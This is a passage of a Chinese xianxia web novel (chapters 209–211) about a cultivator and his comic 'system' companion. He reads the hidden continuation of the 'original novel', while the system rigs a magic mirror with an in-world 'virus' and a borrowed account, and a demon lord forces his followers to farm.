“更何况,宿主手中还掌握着‘九幽忆煞镜’,只要抢在屠天霸之前动手,他又能耐你何?!” 听到这里,金柳衣的心跳才稍稍平稳。 好吵。 待碧霄坊中的最后一人来到桌前登记信息,屠天霸轻飘飘地瞥了她一眼,手上动作不停,还状似随意地道了声, “你有点吵哦。” 闻言,绾着双螺髻,发间缠着珊瑚珠的少女的眉头轻轻一跳。 这个表情很快被掩饰下去。 随即,她疑惑地指了指自己,忍不住发出几声银铃般的笑声,酒窝漾动,脸颊透出淡粉色的光泽。 少女语气天真,很奇怪地道:“我方才分明没有说话呀……?” 屠天霸的脸上什么表情都没有,眼神里却透出几分嫌弃,他上身微微后仰,“我的意思是,你的心跳声很吵。” 碧霄坊的其他人等在一边,听见两位容貌稍显稚嫩的少年你一句我一句地说话,并不打扰。 屠天霸等了几息,肯定地点点头, “现在更吵了。” 说完,他很无所谓地将录入了灵气与身份信息的玉牌递给少女,像赶苍蝇一样地挥了挥手, “好了,你可以走了。” 金柳衣接过玉牌,迅速将其收起,额角的冷汗都要掉出来了。 幸好她背身对着碧霄坊的几人,否则被她们看到方才少年递过来的玉牌上写着‘金柳衣’三个字…… 金柳衣连忙露出一抹讨好的笑容。 屠天霸也笑了一下。 他坐在椅子上,双手往后抱着脑袋,整个人一晃一晃的,很悠闲地望着少女随着师姐们离开,完全没有给正道传讯的意思。 倏然间,他听到机智心魔发问, “宿主,那个顾风籍不是让你发现魔修或者有堕魔倾向的弟子,先按下不表,等人走了再传讯给他吗?” “你明明认出来了,那是金柳衣吧!” “之前发现的那几个正道弟子,你都老实传讯了诶,难不成你要搞背刺?主角会生气的吧?” 听到心魔提到聂无洄,屠天霸的动作一顿,无声应道:“怎么可能?在我眼里,她已经是个死人了!” “那是……?” 屠天霸起身,伸了个大大的懒腰,杏眼微微上挑,眸中闪烁着莫名的思绪, “有点好奇她身上发生了什么事,十有八九跟我有关系……” “但是我不记得了。” 入夜。 金柳衣顺着玉牌的提示,悄无声息地来到归清门的一处小山峰,看石碑标识,大概是归清门外门弟子的练武场。 此时间,场内寂静。 月华微凉,如河水般流淌而下,裹了场中央的少年满身,让他的背影看上去凭空多了几分柔和。 但金柳衣知道,那是错觉。 尽管已经有了系统辅助,她的实力亦是今非昔比,但她仍旧感到了一阵难以抵挡的惶恐。 有的人就是这样—— 他光是站在那里,就叫人心慌。 听着系统在她耳边询问难不成你想永远当一个炮灰吗’,金柳衣的手抚过腰间的一件饰品,咬牙上前。 "尊…屠先生,您唤我来何事?" 屠天霸转身,回头,一双乌黑的眼眸直直落在金柳衣身上,“有点事想要跟你确认一下。” 金柳衣低眉顺眼:“敢问何事?属下必定如实应答。” 屠天霸哦了一声,“那你告诉我,当年我在渡天雷劫的时候,你还看到了什么?” 话音刚落。 炮灰逆袭系统忽然察觉不对,语调急促地在她耳边吼道:“快驱使九幽忆煞镜,慢一刻,你就要死!!” 闻言,金柳衣一把握住用银链挂在腰间的圆形饰物,那东西瞬息间变幻为两个手掌大小的铜镜,然而下一瞬— 身前已无人影。 紧接着,她就听到屠天霸的声音从身后传来,那人哼哼两声,语气得意且从容, “我就知道你不会告诉我。” “还好我早就决定要自己看了。” 话音未落,屠天霸的手已经搭在少女的头顶,动作轻巧,可金柳衣却感受到一股灭顶的悚然! 更加让人心惊的是, 她听到,那个声称要帮助自己逆天改命的炮灰逆袭系统气急败坏地骂道: “废物!我只需要你用镜子照一下屠天霸,你竟还能失手?!早知道当初就不寄生在你身上了,要死你就一个人死吧!” “恕不奉陪!” 还好之前炼化了近百名正道弟子,它实力恢复了一二,足以隐匿气息;还好附近就有身怀心魔种的寄生者! 它可不是低阶的魔种,遇到屠天霸便只能任其炼化! “…….” 在一阵仿佛神魂被阴火熔炼的极致痛处中,金柳衣只觉得有什么东西飞快地离开了自己的身体,而她的记忆犹如死物,被身后之人翻来翻去— 片刻后。 屠天霸收回手,任由她昏迷倒地,表情有点古怪地摸了摸下巴,问道: “心魔,你之前说自己的称号是‘前夫哥扮演系统’是吧?” 系统空间内。 白色光球忽然听到这句,愣了一下才应道:“对啊,但是宿主不是从来都不喊我系统吗?你都喊我心魔的。” 屠天霸点点头,继续问: “金柳衣的心魔说它叫‘恶役炮灰逆袭系统’,听起来跟你好像…” 话音刚落。 N001噌一下从光饼复原成光球,无机质的电子音波澜起伏, “卧槽!哪来的山寨系统!” “是心魔,一定是心魔!!” 屠天霸点头道:“确实是心魔。” 他完整地翻看了一遍金柳衣近十年的记忆始末,终于明白三年前天雷劫那天,究竟发生了什么。 不仅如此,他还知晓了….… 金柳衣通过心魔所获得的残缺书页。 上面记录了金柳衣的未来之事,字里行间表露出,仙魔两道正在厮杀。 以及,聂无洄是天命之子。 他闭了闭眼,脑中浮现金柳衣的第三视角,仿佛亲眼瞧见白衣男人替自己迎击天雷劫,却被疯癫状态的自己一掌拍飞,继而被雷鞭劈中的身影。……应该很痛吧。 屠天霸忽然很想见聂无洄。 他思忖片刻,将已经恢复原貌的金柳衣绑了,绳结的末端仍旧是工整又精致的蝴蝶结。 随即,他将地上的圆弧形铜镜捡起,收入袖中,一个遁身便往灵兆峰飞去。木屋外。屠天霸将‘赔罪礼物’放到门外,然后轻手轻脚地推门而入。聂无洄仍在调息修炼,身边叠满了灵石灵晶,修为几乎恢复至大乘期。 两人同吃同住了三年,聂无洄熟悉他的气息,在屠天霸有心隐匿的情况下,并不会警惕他的靠近。 屠天霸蹲在床边,凝视着男人闭目沉静的面容,在心中无声道: “系统。” “你给我的书册并不是完整版吧?我要看后面的故事。” “——就现在。” 209、Chapter 209 如果是三年前,N001听到这句话大概会咯噔一下,担心宿主看完原著小说后直接狂性大发,把主角创死。 三年过去。 N001开始担心,宿主看完后续篇章会把除了主角以外的人全部创死。 首当其冲就是原著里的正攻,顾宸。 光屏前,白色光球沉默片刻,先给自己来了个免责声明, “宿主,可不是我刻意隐瞒你哦,最开始绑定你的时候,我给你看过完整版原著光屏,但你有阅读障碍,伴随应激行为……” 屠天霸也想起了那日的景象。 那天午后,刚从昏迷中醒来,失了忆的聂无洄给他的肿脸蛋擦药。 如今想想,还真是恍如昨日啊。 屠天霸暗暗感慨。 有道是:一日断袖,终生断袖! 人一旦断袖,就无法回头了! 屠天霸在心里回味了一会儿,很大方地表示,“我不是不讲理的人,你直接给我看便是了,经过三年双修,我已今非昔比!” 他的脸皮疏于锻炼,变得吹弹可破,被人嗫一口还会留下红艳艳的痕迹呢。 白色光球不太乐观。 虽然与原著正攻没什么交集和情分,但为了业绩,袍还是提前预警道: “那宿主能不能答应我一个要求,在完成最后一个任务之前,你不能杀顾宸,到时候他还需要起到一个造型上的作用……”屠天霸从善如流地应道: “哦,看来他将来会做一些让我不高兴的事,难不成是夺妻之仇?” 白色光球:"……" 笑不出来。 屠天霸想了想,说:“放心吧,本尊岂会为了尚未发生之事,就迁怒于他人?好了不要废话了,快让本尊看看后续篇章!” 事实上,屠天霸并不是此刻才发现自己手中的书册是残缺不全的。 只不过他现在才有了往下阅读的欲|望。 毕竟在书册中,他所扮演的屠医修是个不折不扣的短命鬼,还是被聂无洄亲手解决的,实在晦气。 他是万万不会信的! 书册是书册,现实是现实。 它说了不算! 只是屠天霸现在改变了主意。 原因无他。 方才他对金柳衣施展了搜魂之术,看到了她记忆中的书页内容。 金柳衣通过心魔获得的书页很残缺,基本不成篇,皆是以她的视角叙事,但屠天霸还是眼尖地发现了聂无洄的身影。 某一段文字隐晦地表明—— 聂无洄似乎是带伤上阵的,还被一群魔修伏击,伤上加伤。 屠天霸在心中冷笑一声。 让他仔细看看,到底是哪些人在欺负他的漂亮小寡妻,他要挨个记下来! 这回,屠天霸看的并非具现化书册,而是一块泛着蓝光的半透明光屏。 他心神一动,光屏上的文字便落到‘屠医修被一剑穿心的节点。 哼。 那人已经跟他保证过多回了,绝对不会那般残忍对他,必定好好爱护,顶多用绳子捆一捆。 至于书里写的这些… 屠天霸不以为意,接着往下看。 “…….” 系统空间内。 N001透过光屏,看着宿主的表情越来越冷,杏眼半阖,微微挑起的眼尾仿佛藏着两道利刃,透着刮人肌骨的寒意。 ——想刀人的眼神是藏不住的。 白色光球思忖片刻,稍稍远离光屏,劝慰道:“宿主,你冷静点,原著小说只是书中世界的既定走向,当你开始扮演前夫哥这一角色之后,就不一样了….…”屠天霸面无表情:“我现在很冷静。” 白色光球有点不信,但看宿主没有狂扇自己巴掌,也没有狂扇别人巴掌,还是微微松了一口气。 下一瞬。 屠天霸冷静地站起身,冷静地转身往门外走去,还冷静地对系统道了声, “我准备出门散会儿步,去去就回。” 如果有脸的话,N001已经开始痛苦面具了,袍连忙阻拦道:"……万万不可啊,宿主掌下留人!" 袍的语速飞快, “你刚才还说不会因为没有发生的事迁怒他人,男子汉大丈夫,岂能出尔反尔!” 屠天霸无声应道:“只是去散步啦,你不要说得我好像会跑去找那什么顾宸,一巴掌把他的脑袋拍碎一样,好歹他也要叫我一句师公的,所以他就安心地去吧,他爷爷的这个不孝子居然敢那样说我的阿洄,给我洗干净脖子等着!!!" 然而,正当他的指尖触到屋门,身后陡然传来男人的声音, “去哪儿?” 屠天霸的步子一顿,也没转回身,而是站在原地,深深地吸气吐气。 聂无洄是被一缕转瞬即逝的冰凉杀意惊醒的。 他刚一睁眼,就见少年作势要推门而出的背影,连忙叫住人,继续问道:“我调息近十日,你不高兴了吗?亦或是最近疏忽了双修,你又觉得头疼难忍了?” 屠天霸听他这样说,哪能不管不顾地离开,忙不迭踩着重重的步子回到床边,反驳道:“我怎么会因为这个就生你的气!我的气量哪有这么小!” 聂无洄笑了笑,说:“我知道。” 见少年不情不愿地坐到床边,努力装作无事发生,但眉眼间皆是怒意的模样,他才缓声补全了下句, “我只是不想你气冲冲地往外走。” 屠天霸方才还觉得自己气得快要爆体而亡,听男人这样温声软语地说话,又觉得自己的语气太重,实非丈夫所为。 他暗暗吐出一口气,侧过身子,将结束调息的男人抱到怀里,让聂无洄侧坐在自己的大腿上,重新说道: “我不该凶你,只是有些压不住气。” 聂无洄已经习惯了屠天霸的搂抱,并不抗拒两人之间的亲近,反而主动抬臂搂住了他的脖子,另一只手抚着他的侧脸, “发生了什么事?” 屠天霸的额角青筋鼓起。 他咬着牙根应道:“没什么,就是看了个糟心的话本子,让我好不痛快。” 聂无洄定定地看着他,追问:“什么样的话本子?说给我听听。” 屠天霸用力摇头,脑袋快要晃出残影。 他才不要说—— 在那本晦气书册里,''屠医修′一命呜呼之后,男人被丹蛊反噬,受了重伤,被他的弟子带回了宗门。 这件事成了师徒两人之间的秘密。 只是除了丹蛊之害,男人夜夜嗅闻‘屠医修 加了料的安神香,再加上双修心法的影响…… 在恢复修为之前,他难以抵挡情毒的侵扰,苦不堪言。 偶然间,那位弟子撞见男人情毒发作的场景,本该退开的他却怔在了原地,甚至忍不住靠上前去,扶住了男人发热的躯体。 ……师徒两人乱了界限,发生了不该发生的事情。 事后恢复了清明的男人叹了一口气,只道这是一场错误,忘了就罢,让弟子不必放在心上。 然而,弟子却念念不忘,主动提出愿意为师尊应对情毒,希望对方不要推开自己。 男人面色冷然地看着他,“你知不知道自己在说什么?你是我的亲传弟子,我看着你长大,只将你看作孩子。” 闻言,那弟子红了眼眶,满心痛苦地问道:“为什么那个人可以,我就不可以?师尊,他将你视作玩物,我是真心爱你!” 男人决绝地应道:"可我不爱你。" 然而,碍于丹蛊阻碍了男人吸收灵气的速度,他的修为恢复得极慢,压不过情毒的来势汹汹,也拦不住弟子罔顾师意,非要出现在他面前。两人一番拉扯。 只是每当男人熬过情毒,恢复神智,他对弟子的态度就愈发冷淡。 直至某次。 弟子口不择言地喊道:“你为什么总是要退开我?难不成你愿意被那个低贱下流的登徒子任意施为,在他身下辗转承欢,也不愿意接受我?”男人沉默许久,应道:“顾宸,你确实长大了,我已经教不了你什么稍后我会京明掌门,让他为我设下屏障,在我伤势复原之前,不见任何人。”听到这话,弟子的脸色煞白,跪地叩首告罪道:“师尊,是我一时冲动,这才失言了,我本意并非如此!” “.….” 男人一心闭关,独自抑制情毒。 几十年光阴稍纵即逝。 在两人关系降到最冰点之际,修仙界的形势急剧变化,魔修肆无忌惮地行恶,以至于一场仙魔之战拉开了序幕。 男人因此出关。 他的修为恢复了大半,率领宗门以及其他门派与魔修激战,期间,还与弟子发生了一连串故事,导致魔修暗算成功。 屠天霸看得眼刀如雨下。 好在男人身为天命之子,书中主角,他不禁率领正道战胜了一众魔修,还探寻到魔道动乱的实情。 ——黑海。 黑海底下,曾经是上古仙魔的战场。 数万年前,仙道付出了巨大的代价,最后也只是惨胜,耗尽众人之力,将魔气镇压封印。 而战场的中央,正是魔界入口。 原来是时隔万年,黑海底下的魔界入口再度开启,催生出一股强大的意识,加深了魔修的祸心。 不止是魔修,凡间更是战火纷扰,连正道弟子也屡屡堕魔,乱了道统…… 故事的最后。 正道众人与魔修两败俱伤,唯独恢复了全盛期修为的男人能与熔炼了整片黑海的意识一战。 出发前,他对弟子笑了一下, “….…待我回来,会给你答案。” 文章的最后一句话,描写了男人持剑离去的背影。 白衣染血,在风中猎猎作响。 男人手中的剑泛着寒芒,而天底下,黑海在咆哮,水面卷出两道巨大的漩涡,像是一对猩红晦暗的眼眸。 他没有回头。 屠天霸看得七窍生烟。 这就没了?? 为什么没有写他凯旋? 这些正道修士真是废物中的废物!! 啊——气死本尊了—— 木屋内。 聂无洄侧靠在少年怀中,看着他一会儿青黑着脸,一会儿牙咧嘴,一会儿目眦俱裂,最后定格在一个很悲伤的表情。 他抿着唇,嘴角绷成一条直线,一双杏眸望向聂无洄的时候,里头的寒光一下子软了下来,暖融的。 屠天霸又生气又心疼,坚定道: “我可得好好活着,不能让你一个人孤零零地当寡夫,你生得这样漂亮,脾性又温柔,没一点脾气,被人欺负了可怎么办,我真是死不瞑目!” “我泉下有知,定要问问阎王爷,如何才能揭棺而起!!”聂无洄:“”到底怎么了?聂无洄脸上的表情不变,心中却堆满了疑惑。他张了张口,就被少年打断,“不行,我现在有要紧事,耽误不得,你先别跟我说话,不然我一定会听从的…….”说完,他轻轻将聂无洄放到了床上,拔腿就要往外走,身形极快—系统空间内。白色光球发出一声类似于猫咪被踩到尾巴的凄厉叫声,“宿主,你来真的啊!”“你要是现在就把正攻杀了,我就完犊子了啊!而且任务失败,你就没奖励了!”屠天霸没犹豫。N001汗流浃背,当即又道:“要死要死要死,你听我说,原著里的情节没有发生过啊,这是个被人为修正过的世界—”袍知道没有证据,屠天霸不会打住心中的主意,连忙距离道:“我说真的,原著里有描写过灵兆峰的景象,按照原著,这里本该坐落着仙殿,而不是简陋小木屋!”“这是有原因的!”N001不是很情愿地道:“只要你暂时放弃击杀顾宸,并完成最后一个任务,我能让你看到被覆盖前的世界轨迹!”话毕,屠天霸的身形一顿。N001:“.….” 袍的积分,终究是保不住了。 210、Chapter 210 时空书局是一个庞大的部门。 书局旗下设有不同的系统分支,例如征战类、开荒类、攻略类等小组。 N001算是挂靠在「攻略类」底下的扮演类系统,功能格外简陋,基本只有数据传输与系统商城两个模组。 商城里的物品需要用积分换取,每一个都是天价。 好在只要宿主完成阶段性任务,便能获得价值不等的积分。 但对于N001来说, 系统商城是个不折不扣的鸡肋功能。 因为时空书局压根没有拨给NO01任何任务经费,只允许袍绑定濒死的宿主,最终任务奖励还是以苏生的形式,直接发放给宿主本人。 杜绝了系统贪污…啊不是,积分流通的可能性。 除此之外,N001的系统商城早就被时空书局锁定了,无法正常使用,宛如卷帘门上挂了三把锁的超市。 看不到,也摸不着。 ……跟防贼似的。 难道袍是什么不择手段的薪水小偷吗! N001为如此冷酷、凉薄、对员工极其不信任的职场感到悲哀。 好在袍是个懂得变通的系统,不仅排除万难,成功获取了自己应得的回报,还通过盗用其他系统账号的方式——指角落里蹲着的那个蓝色光球,保障了系统商城模组的正常使用。 天行健,系统以自强不息。 叮的一声。 N001熟练地在输入了一串不属于自己的系统编码,成功登陆了系统商城。 袍望着光屏上那个标价不菲的沉浸式数据导入模组],圆墩墩的球身仿佛漏了气的气球,无端多出几道褶。 一百万积分。 ……这可不是小数目啊!到底是怎么样的败家子才会购买如此奢靡的道具! N001的啾尖悬在商城的光屏前,久久未落,似乎还有些颤抖。 不行。 袍收回还未下单的啾尖。 做系统呢,最要紧是勤俭持家。 不该花的别乱花,能省则省! 于是,NO01瞥了眼面向宿主的光屏,咳嗽两声,问道:“宿主,你有没有作用于神魂的高阶法器啊?借我用一下。” 屠天霸有些不耐烦,但为了搞清楚系统方才所说的‘被覆盖的世界轨迹′,他还是应了声, “有,等着。” 说完,他拉开门,对男人叮嘱道: “我这次是真的去散步,不会离开灵兆峰的,就在周遭一个人转转……” 聂无洄见少年隐藏的杀意消退了,表情看上去轻松自然,心中暗暗松了一口气,转眼又见门外的地上,躺了一个陷入昏迷的红衣女子。 聂无洄:"?" 屠天霸顺着他的视线瞥过去,像是忽然想起了这件事,啊了声,解释道: “这就是诬陷了我的魔修,我抓了想送给你,差点忘了!不过我抓她的时候下手重了一点,不知道有没有把她打坏。” 下手确实重。 屠天霸使用的搜魂之法很霸道,不仅翻看了她近十年的记忆,还修改了她的部分记忆。 比如:将‘恶役炮灰逆袭系统 修正为心魔,删除了涉及预言未来的书页记忆。 在金柳衣的记忆中,她被心魔蛊惑,想要掀起仙魔斗争,从中渔翁得利。 这也是事实。 屠天霸并没有说谎,只是隐瞒了涉及书册的内容。尽管系统没有提前交代,但他还是下意识这么做了。 聂无洄走到门边,蹲身查看,“我带她去见掌门,你……” 他稍一停顿,交代道: “你不要乱跑,待我回来再听你说‘话本子''的事情,可好?” 屠天霸点头。 当然好,好得不能再好了。 下一瞬。 屠天霸眼看着男人带着金柳衣飞遁往主峰,快步走到木屋背后,往墙角里一蹲,嗖的一下掏出金柳衣掉落的那面铜镜,恶狠狠地催促, “系统,你最好快些,他肯定马上就回来找我,若是你没有说到做到……” 话音未落。 屠天霸就看到一个发着光的白团子从自己的额心冒出来,语速飞快地说着, “来了来了,宿主我来了!” 屠天霸:"?" 白团子约莫拳头大,浑身光溜浑圆,手脚的部位分别伸出四个啾啾,短得可怕。 像是鼓包。 NO01还是第一次具现化在宿主面前,袍悬在半空,清晰地看见对方的脸上写着两行字— 左脸写着:这什么东西啊? 右脸写着:我脑袋里怎么会有这种怪东西?我脏了!! N001有点担心自己挨扇,连忙道:“宿主,来不及多说了,快给我道具,不然我们就要被主角抓包了!” 屠天霸满脸抗拒,但动作很快地递出镜子。 N001:欧耶。 身为系统,N001能够自由选择呆在系统空间里,或是具现化在宿主面前。 当然了。 系统的存在,仅宿主可见。 只是N001不太愿意出现在宿主面前。 做袍这行的,忌讳跟宿主关系处太好。 如果不是迫于省钱,咳……此时严峻的形势,N001也不会在屠天霸面前现身。 袍搓了搓两只小啾啾,先是打开肚子上的小仓门,从里面扯出一条电线,然后往屠天霸手中的铜镜一搭— 霎时间。 这个僻静角落响起一阵宛如烧热的油锅倒入凉水的声响,噼里啪啦,滋呜哇啦,铜镜表面很快冒出一股黑烟,像是什么东西烧焦了。 但屠天霸很淡定。 白色光球也很淡定。 屠天霸好奇地看了一眼那条线,饶有兴致地问了一句, “这是什么?” N001默默加大电量,应道: “病毒。” 屠天霸又问:“病毒是什么?” N001想了想,简单描述道:“一种让我牢底坐穿的好东西,总局严令禁止,说书中角色一旦染上它就完了。” 屠天霸更好奇了。 与炼魂鼎融合的他没有死亡风险,当即伸出指尖碰了碰那根电线,“你骗人,我什么感觉都没有。” 白色光球:“.…” 你自己已经有了,当然没感觉了。 N001先是给这个道具做了个全方位的杀毒,然后对其数据改造,最后,袍将自己偷藏的原始世界数据包导入道具。 就这样,被上古魔物意识寄予厚望的九幽忆煞镜,被袍改造成了一次性道具,用完即毁。 感谢大自然的馈赠。 屠天霸不知道它在干什么,但这不妨碍他提出要求,“我不喜欢太大的镜子,最好再小一点,像梳妆镜一样,还要有把手。” 白色光球想说‘这是另外的价钱′,但袍思量再三,还是忍住了。 不是怕挨扇。 是袍善。 N001飞快地完成了外观修改,然后给道具设置了一个口令密匙,并将其告知宿主。 另一头。 不出屠天霸所料, 聂无洄心中惦记着屠天霸方才的反常表现,并没有在主峰多做逗留,只匆匆交代了几句,便返回了灵兆峰。 屋子里没有人。 倒是屋后有些细碎的动静。 聂无洄不是个爱玩闹的性子,只是跟屠天霸相处久了,他也有了些变化,竟下意识地放轻步子,隐匿身形气息,往屋后走去。绕过转角。 聂无洄就瞥见少年蹲在角落,双手合握着一柄银边梳妆镜,嘴里念念有词, “魔镜魔镜快显灵,我是你的今生,你是我的前世,以魔法少男的名义命令你,请倒映出我真实的样子吧——” 聂无洄:“?” 正如聂无洄熟悉他的气息一般,屠天霸也没有发现男人的靠近,他专心致志地凝视着朦胧的镜面。 果然。 念完那一串又臭又长的口令后,灰蒙蒙的镜面荡起水波纹,逐渐能够倒映出人的面容…… 屠天霸看到了一张脸。 一张跟自己大不相同,却又莫名相像的脸。 镜中的男人摆出跟他一样的姿势,歪着脑袋盯向镜面,长发自肩头倾泻而下,发尾微卷,在颈侧蜿蜒出蛇信般的弧度。 他的容貌格外英俊,最摄人的是那双眼睛——仿佛乌黑的大地被血液浸透,冻成了坚冰,眸光流转间,似有万干暗影在深渊中沉浮。 森寒,叫人发怵。 而他那身冷白如的肌肤,还带着几分死气沉沉的青,看上去格外妖异。 屠天霸眨眨眼。 他也眨眨眼。 屠天霸张张嘴。 他也张张嘴。 脸倒是其次,屠天霸移动镜子,让镜面对准自己的前胸。 “……好大。” 已经回到系统空间的白色光球沉默地看着光屏,内心是地铁老爷爷的形状。 某种程度上,宿主真是不忘初心呢。 袍瞥了一眼光屏角落亮起的录像键,以及仍在增长的时长,催促道:“宿主,还有最后一句。” 屠天霸回过神,在心里默念出口令的结语, “——封印解除。” 话音刚落。 屠天霸忽然听到身后传来一句, “什么‘好大''?” 他猛地回头,发现聂无洄弯腰站在自己身后,两只手分别搭在膝头,柔顺的发尾垂落,微微摇晃,撩动着他的后颈…… 镜子里,俨然倒映出两个人的身影。 下一瞬。 镜面白光大作。 恰时,一阵风拂过山崖。 风过后,木屋后不见人影,只剩下一片漫长的寂静。 211、Chapter 211 连戮峰,血骨洞。 天空阴恻恻的,诡谲暗沉。 连戮峰并非一座山峰,而是一片广袤无垠的林原,只是草木已尽数枯竭,仅剩崎呕的死木伫立在陡峭山石间,仿佛一具具烧焦的尸体,狰狞极了。 其中心坐落着一座石殿,外形酷似头骨骷髅,魔气冲天。 正是血骨洞。 ——亦是魔尊明修的居所。 几十年前,这个叫做 明修的人横空出世,没人知道他是从哪里冒出来的,只知道他一身修为高深莫测,毫不遮掩自己的凶煞之气一现身,便剿灭了一个魔道宗门。此后数十年,他征战不休,荡平了魔道中的所有势力,将一众魔修归入麾下,一举成为魔道之主,并立宗门为戮天宗,还自封名号邪骨魔尊”。 整个修仙界无人不知他的名号。 正道宗门唯恐此人野心勃勃,会率领众魔修来犯,挑起新一轮的仙魔大战,不由得心生忧患。 这要是被戮天宗的魔修们知道了,定要冷笑一声,咬牙切齿道: “呵呵,想太多。” ……忙着种地,哪有空攻打正道啊?! 什么魔尊?呸! 这个人简直就是魔鬼! 他征战数十年,统一魔道,难不成就是为了让所有的魔修在这个鸟不拉屎的鬼地方为他种菜产粮吗? 他又不必食用人间烟火! 种地就种地吧,还不准他们使用法力助长作物生长,从播种到收割,都要他们亲力亲为! 若有不从,或阳奉阴违者…… 尸体现在挂在枯树的枝头上呢。 不是没人想过要逃,只是魔尊手段高超且身怀一件诡异魔兵,能炼化世间万物,包括这片土地。 没有人能逃出这方土地。 起初,一众魔修不认命,暗暗联合在一处,什么上天遁地的手段都使过了,可这鬼地方就像是被什么无形之物罩住了一样,让人求生无门。 有些性子暴烈的,决意合力围攻那个将所有人困住的罪魁祸首,却被对方一掌拍倒在地,血溅三尺。 而那人,只是冷哼一声,“哦,不想种地是吧?本尊这就成全你,当肥料也是功德一件!” 几个来回之后,众人放弃了反抗之心。 种吧,种地能有多难? ……真的好难。 连戮峰的每一粒土都沾满了魔息,生灵难以生存,唯有魔修如鱼得水,偏偏那人霸道得很,对他们百般欺压,甚至使出天眼监视,时刻盯着看有没有人偷懒。 欺人太甚! 众人站在田里义愤填膺,插苗的动作干脆利落,如同取人首级般果决。 有些女魔修受不得这苦,便设法用魅术诱惑魔尊,想讨个优待。 不料那人郎心如铁,眼里不见红颜,尽是枯骨,只冷冷地瞥了一眼冲自己顾盼生姿的女魔修,问道:“你也活腻了?” 吓得女魔修动作一僵,神情惊恐。 众魔修苦不堪言,盼望着正道宗门早日将这个魔星剿灭,还他们自由之身,免了这牢狱之苦。 直至今日,已是数年过去了。 此时此刻。 血骨洞外,天气阴沉。 洞内,气氛也阴沉。 一位身形高挑的玄衣男人坐在上首,单手撑脸,仪态散漫到了极致,底下跪了一众魔修,正兢兢战战地汇报着, “属下玄天,产粮三百一十斤!” 闻言,另一人的眸中闪过暗喜,连忙报出一串更大的数目,“禀告尊上,属下谷一谟,产量更高一些,足足有…….” 其他人紧跟其上,依次报数,数目大的声音洪亮,数目小的低眉顺眼,唯恐惹恼了这位说一不二的霸主。 “哒、哒、哒。” 待众人语落,殿内一片寂静,只有上首传来一阵手指敲击台面的声音,一下接着一下,像是锋利的铡刀在众人颈侧挥舞,听得人冷汗直流。下一瞬。 众人就听见殿中响起一道低沉的嗓音, “好,好得很。” “你们都是种地的好材料,不枉费本尊苦心栽培,助你等脱胎换骨。” 不知为何,众人竟听出了咬牙切齿的意味,一颗心提得更高,忙不迭叩首表忠心, “尊上息怒!属…属下来年定能种出更多的粮食,让尊上刮目相看!” "正是,属下是木灵根,比他更强!" 就在众人七嘴八舌地表忠心,顺便暗中给其他人上眼药的时候,男人的气压越来越低,最后冷哼着挥袖走人, “既然你们都如此信誓旦旦,到时候若是有人没能做到,本尊就拿他来肥田。” 话音刚落。 殿中响起一阵渐弱的脚步声。 有几个胆子大的魔修悄悄抬起头,只捕捉到男人离去的背影,玄色衣袍在他身后猎猎作响,气势不凡。 当男人的身影彻底消失,众人才齐齐松了一口气,忍不住身子瘫软下来,互相交换了几个眼神,眼里藏着话。 天气如此阴沉,谁惹这魔头了?'' ‘不知道啊,只希望待会儿别下雨,不然我那地里就白忙活了。'' 说来也奇怪。 连戮峰被魔尊所炼化,就连天气也与他息息相关:他若是心情不好,外头天气便阴沉,发怒了,便电闪雷鸣…… 一干人等刚出石殿,就听到天空传来库嚓一声巨响,一道雷光刺破乌云,闪得人眼疼,心肝也颤。 几人面面相觑,一路狂奔至自己的田地里,不敢偷懒耍滑,生怕下一个死的就是自己。 “…….” 明修离开正殿,一路走到洞府深处,幽暗的长廊很安静,他踩着通往地宫的下行阶梯,一步步走到地底深处。 石壁上的火光微弱,颤颤巍巍地蹭过他的脸,不敢久留。 不多时。 明修站在一扇紧闭的门前。 他身姿挺拔,单手背在身后,另一只手缓缓抬起,似乎想要推门入内。 可当指腹触及门扉之时,男人的脸上闪过一丝犹豫,凶煞的眉眼间竟透着两分极为罕见的无措。 又过了一会儿。 明修推开了门。 这个隐秘的地下空间很阴暗,空气有些潮湿,还带着点莫名的清香。 他挥挥手,空间骤然明亮。 地宫空间极大,水晶壁亮起来,犹如碧蓝之海,其间有碎光闪烁。 最中心的区域,竟是一片用垂落藤蔓围起来的种植田。 但与寻常田地不同的是—— 这个隐秘空间摆满了万年灵木,上头附着了大大小小的肉灵芝,暗红色的菌伞一张一缩,像是在呼吸。 明修深深地吸了一口气,迈开步子,板着脸往里头走。 然而,随着他的靠近,离他最近的那坨肉灵芝便疯狂抽搐,菌伞先是滋啦一声冒起黑烟,随即皮下血管状的纹路急速干瘪,最后整颗菌子像是被戳破的鱼鳔般噗地缩成蘑菇 明修:“….” 他脚步稍稍一顿,面无表情地继续往前迈步。 还没走几步,就见两侧菌架上的肉灵芝齐刷刷地往墙角蜷缩,不忘用半透明的菌丝紧紧环抱着自己,企图逃避魔气的侵染。 正当时。 有颗圆滚滚的紫灵芝来不及闪避,试图装死,结果被魔气熏得菌褶直打卷,菌伞上渗出大颗大颗的黏液,宛如泪滴。 明修哼了声,绕过了它。 他往深处走,表情依旧森冷,眸中却浮现了些许期待之情。 这片特殊田地的深处,长着他最看好的一朵肉灵芝,或许能抵御他的魔气,坚强而茁壮地生长下去。 下一瞬。 就听轰的一声。 明修身前的三层菌架骤然倒塌,形态各异的肉灵芝散了一地,不约而同地呈现出脱水干瘪的死状,菌伞上还浮现出类似于痛苦面具的褶皱纹路。 明修已经习惯了—— 习惯了这些蘑菇一见他就猝死的景象。 整个修仙界都称肉灵芝是生命力最顽强的灵植,年份越长越难寻到,功效绝顶,甚至能活死人肉白骨。 明修不看重它的功效,唯独看重它的特性:能活。 连戮峰缺的就是能活的生灵。 魔修除外。 明修绷着脸,加快脚步,终于见到那株被他寄予厚望的四千年一遇的肉灵芝。 肥美、新鲜、生机勃勃。 然而,下一瞬。 肉灵芝似乎瞧见同类的惨状,感同身受地颤了两下,随即,肥嘟嘟的菌伞啪叽一下掉到地上,如同断头一般滚落到男人脚边。 明修:“.…“ 假的,都是假的! 能活个屁! 简直死得一个比一个快! 他不就是近日修为又精进了些吗?! 明修痛心疾首,面上却冷漠,眼尾上挑的弧度不含一丝温度,格外冷血无情,语调亦然, “废物!” “枉费我以天材地宝浇灌喂养你们,真是烂蘑菇扶不上墙!” 半晌。 明修坐在地宫的水晶桌边,啜饮了一口热腾腾且香喷喷的蘑菇汤,心里的郁气散了一小半。 他已经想通了。 —强者,总是菇毒的。 明修猛地一仰头,如饮烈酒般地,将鲜甜可口的蘑菇汤尽数饮下,也咽下了心中苦楚。 他眸光阴寒刺骨,周身气势极强,整个人恍如天魔,嗓音嘶哑, “为何他们种得,唯独本尊种不得!” 